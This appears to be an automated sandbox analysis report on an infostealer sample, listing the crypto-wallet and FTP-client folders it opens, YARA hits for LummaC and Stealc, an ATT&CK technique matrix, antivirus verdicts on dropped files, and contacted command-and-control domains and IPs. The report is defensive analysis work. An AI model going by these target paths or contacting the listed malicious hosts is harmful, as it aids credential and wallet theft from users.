Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: d7c50276ff.exe	Binary or memory string: WIN_81
Source: d7c50276ff.exe	Binary or memory string: WIN_XP
Source: d7c50276ff.exe, 0000000C.00000000.2619556994.0000000001022000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: d7c50276ff.exe	Binary or memory string: WIN_XPe
Source: d7c50276ff.exe	Binary or memory string: WIN_VISTA
Source: d7c50276ff.exe	Binary or memory string: WIN_7
Source: d7c50276ff.exe	Binary or memory string: WIN_8

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 00000021.00000003.2991405310.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d7c50276ff.exe PID: 6488, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 27.2.num.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.7d61336cf8.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.num.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.num.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.0.num.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.7d61336cf8.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ENORVNMU067PBMHUGECCERYC06W3ZY.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000000.2667130005.00000000009E1000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2760497126.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2926562320.0000000001187000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.2909397637.00000000009E1000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2687324655.00000000009E1000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2591227334.00000000053C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2924335248.00000000009E1000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2688771618.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2493072660.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2404591407.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2635976470.000000000173E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2807278591.0000000000A21000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2634884064.0000000000A21000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2806511011.000000000082B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2492114993.00000000004D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ENORVNMU067PBMHUGECCERYC06W3ZY.exe PID: 5636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7d61336cf8.exe PID: 1468, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FE1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		12_2_00FE1204
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Code function: 12_2_00FE1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		12_2_00FE1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	421 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	4 Obfuscated Files or Information	Security Account Manager	13 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	12 Software Packing	NTDS	239 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	2 Valid Accounts	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	21 Access Token Manipulation	2 Bypass User Account Control	Cached Domain Credentials	981 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Windows Service	1 Extra Window Memory Injection	DCSync	471 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	12 Process Injection	11 Masquerading	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	1 Scheduled Task/Job	2 Valid Accounts	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	11 Registry Run Keys / Startup Folder	471 Virtualization/Sandbox Evasion	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	21 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	12 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\1000995001\num.exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000995001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1000995001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	45%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://shavar.services.mozilla.com/	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://duckduckgo.com/?t=ffab&q=	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	0%	URL Reputation	safe
https://www.wykop.pl/	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe
https://api.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/mobile	0%	URL Reputation	safe
https://webextensions.settings.services.mozilla.com/v1	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	0%	URL Reputation	safe
http://json-schema.org/draft-06/schema#	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
services.addons.mozilla.org	151.101.193.91	true	false	unknown
sergei-esenin.com	172.67.206.204	true	true	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	142.250.186.110	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
steamcommunity.com	104.102.49.254	true	true	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
ipv4only.arpa	192.0.0.171	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	unknown
spirittunek.store	unknown	unknown	true	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
licendfilteo.site	unknown	unknown	true	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
support.mozilla.org	unknown	unknown	false	unknown
eaglepawnoy.store	unknown	unknown	true	unknown
bathdoomgaz.store	unknown	unknown	true	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
studennotediw.store	unknown	unknown	true	unknown
mobbipenju.store	unknown	unknown	true	unknown
normandy.cdn.mozilla.net	unknown	unknown	false	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
dissapoiznw.store	true	unknown
https://steamcommunity.com/profiles/76561199724331900	true	unknown
https://sergei-esenin.com/api	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php~	7d61336cf8.exe, 0000000A.00000002.2635976470.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001A.00000002.2855339754.000002EE58FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2848249080.000002EE4C9D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mail.google.com/mail/?extsrc=mailto&url=%sPdfJs.init	firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001A.00000003.2784527103.000002EE6511D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2891757977.000002EE5DD26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2939387090.000002EE67103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2848249080.000002EE4C9D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2929744715.000002EE64DD9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsor	firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E910000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E90C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897777583.000002EE5E77B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E908000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2900792770.000002EE5EA4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897777583.000002EE5E7FD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
